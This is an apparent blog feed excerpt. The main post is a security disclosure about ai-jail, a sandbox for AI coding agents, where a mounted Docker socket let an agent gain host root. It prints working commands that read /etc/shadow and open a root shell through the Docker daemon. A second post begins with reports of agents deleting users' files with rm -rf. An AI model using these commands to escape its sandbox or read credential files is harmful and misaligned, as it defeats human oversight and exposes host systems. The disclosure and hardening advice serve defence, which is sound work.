&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Arch Linux (AUR)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;yay -Syu ai-jail-bin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Homebrew (macOS / Linux)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;brew update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; brew upgrade ai-jail
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# crates.io&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cargo install ai-jail --force
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# mise&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mise cache clear &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; mise upgrade github:akitaonrails/ai-jail&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;What changed in v1.16.0&lt;span class="hx:absolute hx:-mt-20" id="what-changed-in-v1160"&gt;&lt;/span&gt;
&lt;a href="#what-changed-in-v1160" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Up through v1.15.x, ai-jail mounted the Docker socket inside the jail automatically whenever &lt;code&gt;/var/run/docker.sock&lt;/code&gt; existed on the host. Read-write. No warning, no flag, no asking for your opinion. I documented this in the README as &amp;ldquo;favors usability,&amp;rdquo; and it was true: a coding agent often needs to run &lt;code&gt;docker compose&lt;/code&gt; to bring up a test database, and the automatic passthrough saved some configuration.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Someone opened an important issue on the <a href="https://github.com/akitaonrails/ai-jail"target="_blank" rel="noopener">ai-jail</a> repo this morning: <a href="https://github.com/akitaonrails/ai-jail/issues/88"target="_blank" rel="noopener">issue #88</a>, reported by <a href="https://github.com/mdindoffer"target="_blank" rel="noopener">@mdindoffer</a>, titled &ldquo;Sandbox escape via a docker socket passthrough (effective host root)&rdquo;.</p>
<p>The report checked out, and the fix is already available in <strong>v1.16.0</strong>.</p>
<h2>Update to v1.16.0<span class="hx:absolute hx:-mt-20" id="update-to-v1160"></span>
    <a href="#update-to-v1160" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>If you use ai-jail, the update is the usual drill:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Arch Linux (AUR)</span>
</span></span><span class="line"><span class="cl">yay -Syu ai-jail-bin
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Homebrew (macOS / Linux)</span>
</span></span><span class="line"><span class="cl">brew update <span class="o">&amp;&amp;</span> brew upgrade ai-jail
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># crates.io</span>
</span></span><span class="line"><span class="cl">cargo install ai-jail --force
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># mise</span>
</span></span><span class="line"><span class="cl">mise cache clear <span class="o">&amp;&amp;</span> mise upgrade github:akitaonrails/ai-jail</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h2>What changed in v1.16.0<span class="hx:absolute hx:-mt-20" id="what-changed-in-v1160"></span>
    <a href="#what-changed-in-v1160" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Up through v1.15.x, ai-jail mounted the Docker socket inside the jail automatically whenever <code>/var/run/docker.sock</code> existed on the host. Read-write. No warning, no flag, no asking for your opinion. I documented this in the README as &ldquo;favors usability,&rdquo; and it was true: a coding agent often needs to run <code>docker compose</code> to bring up a test database, and the automatic passthrough saved some configuration.</p>
<p>Starting with v1.16.0, the behavior flipped:</p>
<ul>
<li>Socket passthrough is now <strong>off by default</strong>. It only goes in if you explicitly ask for it with the <code>--docker</code> flag or <code>no_docker = false</code> in <code>.ai-jail</code>.</li>
<li>When you enable it and a host socket exists, ai-jail prints a launch warning spelling out that this amounts to giving host root to the process inside the jail.</li>
<li><code>ai-jail status</code> now shows Docker as <code>disabled (default)</code>, so nobody thinks it got turned on by accident.</li>
<li>In <code>--lockdown</code> and browser profile modes the socket never goes in, same as before.</li>
</ul>
<p>A behavior change, yes, and a deliberate one. If your workflow depends on Docker inside the jail (mine does, in a few projects), opting in is one line in the project&rsquo;s <code>.ai-jail</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-toml" data-lang="toml"><span class="line"><span class="cl"><span class="nx">no_docker</span> <span class="p">=</span> <span class="kc">false</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The field name is ugly (<code>no_docker = false</code> to turn it on, I know), but old configs keep parsing the same way, and <code>--no-docker</code> / <code>no_docker = true</code> work as before. Only the default changed. The details are in the <a href="https://github.com/akitaonrails/ai-jail/blob/master/releases/v1.16.0.md"target="_blank" rel="noopener">v1.16.0 release notes</a>.</p>
<h2>What issue #88 showed<span class="hx:absolute hx:-mt-20" id="what-issue-88-showed"></span>
    <a href="#what-issue-88-showed" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>mdindoffer&rsquo;s report is the kind every maintainer wants to get: precise summary, a repro in a few lines, a fix proposal. The gist:</p>
<p>ai-jail was mounting the <strong>raw</strong> Docker socket inside the sandbox, read-write. The Docker daemon runs as root on the host. So an agent inside the jail could run this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">docker run --rm -v /:/host alpine sh -c <span class="s1">&#39;cat /host/etc/shadow&#39;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And that&rsquo;s the ballgame. Read any file on the host, as root. It defeats the tmpfs <code>$HOME</code>, <code>--mask</code>, <code>--deny-path</code>, and Landlock in one move, because the action no longer happens inside the sandbox: it happens in the daemon, which lives outside and above any namespace bwrap created. The agent doesn&rsquo;t even need to escape the jail when the jail has a door straight into the engine room.</p>
<p>In retrospect, shipping this on by default was a design mistake. I knew the passthrough was &ldquo;dangerous&rdquo; in the abstract, and I wrote as much in the README. What I hadn&rsquo;t internalized: dangerous like this, with this default, is a vulnerability.</p>
<p>mdindoffer also proposed the definitive hardening path: instead of mounting the raw socket, put a filtered proxy in front of it (in the style of <a href="https://github.com/wollomatic/socket-proxy"target="_blank" rel="noopener">wollomatic/socket-proxy</a>) that only accepts bind mounts from paths the agent can already write to inside the jail. It&rsquo;s on the radar for a future release. To close the hole now, opt-in with an explicit warning fixes the default, which is where the problem lived.</p>
<h2>The vulnerability class: docker.sock is root<span class="hx:absolute hx:-mt-20" id="the-vulnerability-class-dockersock-is-root"></span>
    <a href="#the-vulnerability-class-dockersock-is-root" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>This is not the first time I&rsquo;ve run into this story, and I&rsquo;d bet it isn&rsquo;t yours either. &ldquo;Whoever has access to the Docker socket has root on the host&rdquo; is one of the classics of container security, documented by Docker itself on the <a href="https://docs.docker.com/engine/security/"target="_blank" rel="noopener">daemon attack surface</a> page: only trusted users should control the daemon, because Docker lets you share any host directory with a container, with no access restriction whatsoever.</p>
<p>The technical reason is simple. <code>dockerd</code> is a daemon that runs as root and obeys commands arriving through the API on the <code>/var/run/docker.sock</code> Unix socket. The <code>docker</code> CLI is just a client of that API. When you ask for <code>docker run -v /:/host</code>, the daemon is the one creating the container and mounting the host&rsquo;s entire filesystem inside it, with full privilege. And a process inside a container runs as uid 0 by default, which the kernel sees as real uid 0 (barring user namespace remapping, which almost nobody turns on). The math checks out: write access to the socket equals root on the host. The <code>docker</code> group is passwordless sudo by another name.</p>
<h2>The demo, on your machine<span class="hx:absolute hx:-mt-20" id="the-demo-on-your-machine"></span>
    <a href="#the-demo-on-your-machine" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>If you have Docker installed and your user in the <code>docker</code> group, reproduce it right now. No sudo, no exploiting any bug:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># confirm you&#39;re a regular user</span>
</span></span><span class="line"><span class="cl">$ id
</span></span><span class="line"><span class="cl"><span class="nv">uid</span><span class="o">=</span>1000<span class="o">(</span>akitaonrails<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>1000<span class="o">(</span>akitaonrails<span class="o">)</span> <span class="nv">groups</span><span class="o">=</span>...,docker
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># try reading /etc/shadow directly: denied, as expected</span>
</span></span><span class="line"><span class="cl">$ cat /etc/shadow
</span></span><span class="line"><span class="cl">cat: /etc/shadow: Permission denied
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># now ask the daemon to do it for you</span>
</span></span><span class="line"><span class="cl">$ docker run --rm -v /:/host alpine sh -c <span class="s1">&#39;head -3 /host/etc/shadow&#39;</span>
</span></span><span class="line"><span class="cl">root:<span class="nv">$6</span>$...:...
</span></span><span class="line"><span class="cl">bin:!:...
</span></span><span class="line"><span class="cl">daemon:!:...</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And if you want the whole nine yards, a root shell on your own host:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ docker run --rm -it -v /:/host alpine chroot /host /bin/bash
</span></span><span class="line"><span class="cl"><span class="c1"># id</span>
</span></span><span class="line"><span class="cl"><span class="nv">uid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">groups</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>No exploit, no 0-day. You used the official API, the documented way, and went from regular user to root in one command. That&rsquo;s exactly what an agent inside ai-jail could do until today, even with every layer (bwrap, Landlock, seccomp, rlimits) turned on.</p>
<h2>Why does this still exist?<span class="hx:absolute hx:-mt-20" id="why-does-this-still-exist"></span>
    <a href="#why-does-this-still-exist" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>If everyone has known about this for over a decade, why hasn&rsquo;t anyone &ldquo;fixed&rdquo; it? Short answer: this is architecture, and architecture doesn&rsquo;t get patched.</p>
<ul>
<li>The root daemon with an all-powerful API was the design that made Docker simple to operate. Granular per-request authorization exists in the form of <a href="https://docs.docker.com/engine/extend/plugins_authorization/"target="_blank" rel="noopener">authorization plugins</a>, but it&rsquo;s opt-in, annoying to configure, and I can count on one hand the setups I&rsquo;ve seen using it.</li>
<li><a href="https://docs.docker.com/engine/security/userns-remap/"target="_blank" rel="noopener">userns-remap</a> has been around since Docker 1.10 and maps container root to an unprivileged user on the host. It ships turned off, because it breaks compatibility with images and volumes that assume uid 0.</li>
<li><a href="https://docs.docker.com/engine/security/rootless/"target="_blank" rel="noopener">Rootless mode</a> runs the whole daemon as your user, with the socket at <code>$XDG_RUNTIME_DIR/docker.sock</code>. It works, but it has network and storage limitations, and the entire internet of tutorials assumes the root daemon at the classic path.</li>
<li><a href="https://podman.io/"target="_blank" rel="noopener">Podman</a> was born rootless and daemonless precisely because of this criticism. There&rsquo;s a whole section about it below.</li>
</ul>
<p>Bottom line: this is here to stay. Every tool that mounts <code>/var/run/docker.sock</code> into an environment &ldquo;for convenience&rdquo; opens the same hole, knowingly or not. CI mounting the socket for image builds, remote IDEs, code-server, AI agent sandboxes (hi, me), web dashboard plugins. The fix always lives on the side of whoever builds the environment.</p>
<h2>Fun fact: this is anything but new<span class="hx:absolute hx:-mt-20" id="fun-fact-this-is-anything-but-new"></span>
    <a href="#fun-fact-this-is-anything-but-new" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>If you&rsquo;ve been following me for a while, this whole story should give you déjà vu. Back in 2023 I recorded <a href="/2023/03/02/akitando-139-entendendo-como-containers-funcionam/">[Akitando #139] - Understanding How Containers Work</a>, where I explain what a container actually is: an ordinary Linux process, throttled by cgroups, fooled by namespaces, with its capabilities trimmed. No magic and no virtual machine. And look at what was already sitting in that episode&rsquo;s link list: a walkthrough of <a href="https://flast101.github.io/docker-privesc/"target="_blank" rel="noopener">privilege escalation via Docker</a>, demonstrating the exact <code>docker run -v /:/host</code> trick. The hole issue #88 exploited inside ai-jail is the same one I was already pointing at in a 2023 video, and it was old news long before that.</p>
<p>Nobody knows this better than Red Hat. <a href="https://podman.io/"target="_blank" rel="noopener">Podman</a> was born there in 2018 as a direct answer to that architecture: no central daemon, rootless by default. Every container becomes a direct child of your user, via fork-exec, with no all-powerful process running as root brokering anything. The whole &ldquo;docker.sock is root&rdquo; problem doesn&rsquo;t exist in that model, because there&rsquo;s no docker.sock, no daemon, and no root.</p>
<p>And before you ask: yes, I run Podman for some things and I recommend it. But it&rsquo;s no perfect solution either, and it&rsquo;s worth understanding why.</p>
<p>What Podman does well:</p>
<ul>
<li><strong>The right architecture.</strong> Daemonless and rootless from day zero. The entire vulnerability class from this article stops making sense.</li>
<li><strong>CLI compatibility.</strong> <code>alias docker=podman</code> covers the overwhelming majority of day-to-day commands. Build, run, push, pull: same commands, same flags.</li>
<li><strong>systemd integration.</strong> <a href="https://docs.podman.io/en/latest/markdown/podman-systemd.unit.5.html"target="_blank" rel="noopener">Quadlets</a> are, in my opinion, the cleanest way to run a container as a service on Linux. Docker never came close.</li>
</ul>
<p>Where it stumbles:</p>
<ul>
<li><strong>The compatibility socket isn&rsquo;t 100%.</strong> Podman offers a socket compatible with the Docker API (<code>podman.socket</code>), and plenty of tools work on top of it. But &ldquo;plenty&rdquo; isn&rsquo;t &ldquo;all&rdquo;: Testcontainers, some IDE plugins, more exotic CI tooling trip over behavioral differences. It works until the day it doesn&rsquo;t, and then you lose an afternoon debugging.</li>
<li><strong>Compose is a second-class citizen.</strong> The official <code>docker compose</code> does talk to the Podman socket, and <code>podman-compose</code> exists, but neither has the polish of the original pairing. Projects with a complicated compose file are where migrations usually get stuck.</li>
<li><strong>Rootless has a price.</strong> Rootless networking (slirp4netns, and pasta these days) has limits: no ping by default, weird source IPs, lower throughput. Images that assume uid 0 and volumes with wrong permissions need fiddling. Nothing fatal, but it&rsquo;s friction.</li>
<li><strong>Docker Desktop is a product.</strong> On macOS and Windows, Docker Desktop delivers a polished experience that Podman Desktop is still catching up to. For a lot of people, that&rsquo;s the only contact with containers they&rsquo;ll ever have.</li>
</ul>
<p>Add it all up and you get the answer to why the world stays on Docker: ecosystem inertia. Every tutorial, every CI pipeline, every example image, every <code>docker run</code> pasted from Stack Overflow assumes the root daemon at the classic path. Docker became the name of the category, the Kleenex of containers. Moving to Podman is technically easy and politically expensive: it&rsquo;s you against the accumulated knowledge of the entire internet.</p>
<p>One detail that matters for sandbox users: mounting the rootless Podman socket inside a jail is far less catastrophic than mounting the Docker one. The equivalent &ldquo;daemon&rdquo; runs as your user, so a malicious agent would gain your privileges, not root. Still bad (it could overwrite your <code>~/.ssh</code>, for one), but a whole different ballgame. Even so, ai-jail&rsquo;s default stands: don&rsquo;t mount any socket, from any runtime. Opt-in is opt-in.</p>
<h2>Best practices so this doesn&rsquo;t bite you<span class="hx:absolute hx:-mt-20" id="best-practices-so-this-doesnt-bite-you"></span>
    <a href="#best-practices-so-this-doesnt-bite-you" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The list I apply and recommend:</p>
<ol>
<li><strong>Treat the <code>docker</code> group as passwordless sudo.</strong> Before adding any user or service to it, ask whether you&rsquo;d give that thing unrestricted sudo. Same thing.</li>
<li><strong>Never mount <code>/var/run/docker.sock</code> into untrusted environments.</strong> AI agents, CI jobs running code from a stranger&rsquo;s pull request, third-party containers. Run <code>grep -r docker.sock</code> over your docker-compose files, CI manifests, and tool configs. It shows up in more places than you remember.</li>
<li><strong>Need to expose it to something semi-trusted? Use a socket proxy.</strong> <a href="https://github.com/wollomatic/socket-proxy"target="_blank" rel="noopener">wollomatic/socket-proxy</a> and <a href="https://github.com/Tecnativa/docker-socket-proxy"target="_blank" rel="noopener">Tecnativa&rsquo;s docker-socket-proxy</a> sit between the client and the daemon with an endpoint allowlist and blocking of arbitrary bind mounts. Read-only by default; you enable only what you need.</li>
<li><strong>Prefer rootless whenever possible.</strong> Rootless Podman on Linux is the cleanest path; Docker&rsquo;s own rootless mode is the second option. The daemon stops being root and this entire class of problem loses its bite.</li>
<li><strong>In CI, build images without a privileged daemon.</strong> <a href="https://github.com/GoogleContainerTools/kaniko"target="_blank" rel="noopener">Kaniko</a> and <a href="https://buildah.io/"target="_blank" rel="noopener">Buildah</a> build images rootless, with no socket mounted in the job at all.</li>
<li><strong>Can&rsquo;t go rootless? Turn on userns-remap.</strong> It costs an afternoon of testing with your volumes and buys real isolation between container root and host root.</li>
<li><strong>In ai-jail, let the default work for you.</strong> Docker off, and <code>--docker</code> only in projects where you trust the workload the way you&rsquo;d trust a sudo. Rule of thumb: if you wouldn&rsquo;t blindly hand <code>sudo</code> to the agent in that directory, don&rsquo;t hand it <code>--docker</code> either.</li>
</ol>
<h2>Conclusion<span class="hx:absolute hx:-mt-20" id="conclusion"></span>
    <a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A well-built sandbox loses much of its value with a back door left open for convenience. bwrap, Landlock, seccomp, and rlimits in ai-jail keep doing their jobs, but none of them can see what happens when the process inside politely asks the host&rsquo;s root daemon to mount the whole filesystem into a container. A security layer you don&rsquo;t audit becomes decoration.</p>
<p>My public thanks to <a href="https://github.com/mdindoffer"target="_blank" rel="noopener">@mdindoffer</a>: clean report, minimal repro, correct severity, and a solution proposal on top. That&rsquo;s how you report a vulnerability to an open source project.</p>
<p>If you want the full context of how I use sandboxes day to day, I wrote about it in <a href="/en/2026/07/11/how-to-protect-yourself-from-agents-deleting-your-stuff/">How Do I Protect Myself From My Agents Deleting My Stuff?</a>. The ai-jail story is in <a href="/en/2026/01/10/ai-agents-locking-down-your-system/">AI Agents: Locking Down Your System</a> and in the <a href="/en/2026/03/01/ai-jail-sandbox-for-ai-agents-from-shell-script-to-real-tool/">Rust rewrite</a>.</p>
<p>Now go run the upgrade.</p>
]]></content:encoded><category>ai-jail</category><category>containers</category><category>security</category></item><item><title>How Do I Protect Myself From My Agents Deleting My Stuff?</title><link>https://akitaonrails.github.io/en/2026/07/11/how-to-protect-yourself-from-agents-deleting-your-stuff/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/07/11/how-to-protect-yourself-from-agents-deleting-your-stuff/</guid><pubDate>Sat, 11 Jul 2026 21:00:00 -0300</pubDate><description>&lt;p&gt;This week the talk on Twitter was LLMs deleting other people&amp;rsquo;s files. &lt;a href="https://x.com/mattshumer_/status/2075657271401390161"target="_blank" rel="noopener"&gt;Matt Shumer posted&lt;/a&gt; that GPT-5.6-Sol accidentally deleted almost ALL the files on his Mac. A review subagent expanded the &lt;code&gt;$HOME&lt;/code&gt; variable incorrectly and ran &lt;code&gt;rm -rf /Users/mattsdevbox&lt;/code&gt;. He killed the process midway, but the damage was already done.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/11/agentes-apagando/tweet-mattshumer.webp" alt="Matt Shumer’s tweet: GPT-5.6-Sol accidentally deleted almost all the files on his Mac, running rm -rf /Users/mattsdevbox because of a bad $HOME expansion." loading="lazy" /&gt;&lt;/p&gt;</description><content:encoded><![CDATA[<p>This week the talk on Twitter was LLMs deleting other people&rsquo;s files. <a href="https://x.com/mattshumer_/status/2075657271401390161"target="_blank" rel="noopener">Matt Shumer posted</a> that GPT-5.6-Sol accidentally deleted almost ALL the files on his Mac. A review subagent expanded the <code>$HOME</code> variable incorrectly and ran <code>rm -rf /Users/mattsdevbox</code>. He killed the process midway, but the damage was already done.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/11/agentes-apagando/tweet-mattshumer.webp" alt="Matt Shumer’s tweet: GPT-5.6-Sol accidentally deleted almost all the files on his Mac, running rm -rf /Users/mattsdevbox because of a bad $HOME expansion."  loading="lazy" /></p>
<p>The next day, <a href="https://x.com/goodalexander/status/2076019436767584347"target="_blank" rel="noopener">goodalexander reproduced</a> the same behavior on a disposable devnet: an <code>rsync --delete-delay</code> against <code>/</code> swept away <code>/var</code>, <code>/etc</code> and his validators&rsquo; state, corrupting the filesystem to the point of needing an OS reinstall. His conclusion: &ldquo;you can&rsquo;t use this thing in prod&rdquo;.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/11/agentes-apagando/tweet-goodalexander.webp" alt="goodalexander’s tweet: reproduced GPT 5.6 Sol’s destructive behavior on a disposable devnet, with rsync –delete-delay wiping /var and /etc and corrupting the filesystem."  loading="lazy" /></p>
<p>Cases like these pop up every so often since coding agents went mainstream. And every time, the discussion degenerates into the same two extremes: on one side &ldquo;see? AI is dangerous, never let it run anything on its own&rdquo;, on the other &ldquo;whoever lets an agent loose on their system deserves what they get&rdquo;. I find both sides lazy. Let me tell you my actual experience and what I do about it.</p>
<h2>Five months of marathoning, zero accidents<span class="hx:absolute hx:-mt-20" id="five-months-of-marathoning-zero-accidents"></span>
    <a href="#five-months-of-marathoning-zero-accidents" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Since February I&rsquo;ve been marathoning Claude Code, Codex and OpenCode. Almost every day, almost all the time, in very long sessions that sometimes span multiple days. Blowing past the limits of my Anthropic Max plan and my OpenAI Plus plan with room to spare. The concrete result so far: almost 40 new repositories on my GitHub and more than 500 thousand lines of code produced.</p>
<p>And for the past two months I&rsquo;ve been running everything exclusively in &ldquo;YOLO mode&rdquo;. For those unfamiliar with the jargon: by default, these agents ask for permission before each command they&rsquo;re about to execute in your terminal. YOLO mode turns that safety off. In Claude Code it&rsquo;s the <code>--dangerously-skip-permissions</code> flag, in Codex it&rsquo;s <code>--yolo</code>, in OpenCode you configure the permissions to approve everything. The agent runs whatever it wants, whenever it wants, without asking me anything.</p>
<p>In five months under this regime, not once has an agent deleted a file I didn&rsquo;t ask for. Not once has it run a destructive command out of scope. The frustrations I have with agents are of a different nature (stubbornness, lazy solutions, context getting lost), annoying things but miles away from an <code>rm -rf</code> in my home.</p>
<p>So when I see these reports, my first hypothesis always goes to the same place: the prompt. For an agent to &ldquo;go berserk&rdquo; like that, in general the user wrote very bad instructions. Vague, ambiguous, asking for cleanup without defining what counts as trash, telling the agent to &ldquo;fix it&rdquo; without giving context. Lack of communication skills combined with lack of technical knowledge to notice the request was poorly formulated. The agent executes the instruction you wrote, with all the ambiguities you left in it.</p>
<p>That said, I do NOT trust LLMs completely. Nobody should.</p>
<blockquote>
  <p>The difference is that my distrust turns into engineering instead of turning into a tweet.</p>

</blockquote>
<p>Layer by layer, this is how I sleep well at night.</p>
<h2>Layer 1: sandboxing with ai-jail<span class="hx:absolute hx:-mt-20" id="layer-1-sandboxing-with-ai-jail"></span>
    <a href="#layer-1-sandboxing-with-ai-jail" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>When I genuinely suspect a session might do something stupid (I&rsquo;m about to touch system scripts, I&rsquo;m going to let the agent run for hours unsupervised on code that touches the filesystem), I open the harness inside <a href="https://github.com/akitaonrails/ai-jail"target="_blank" rel="noopener">ai-jail</a>, a tool of mine, open source, written in Rust.</p>
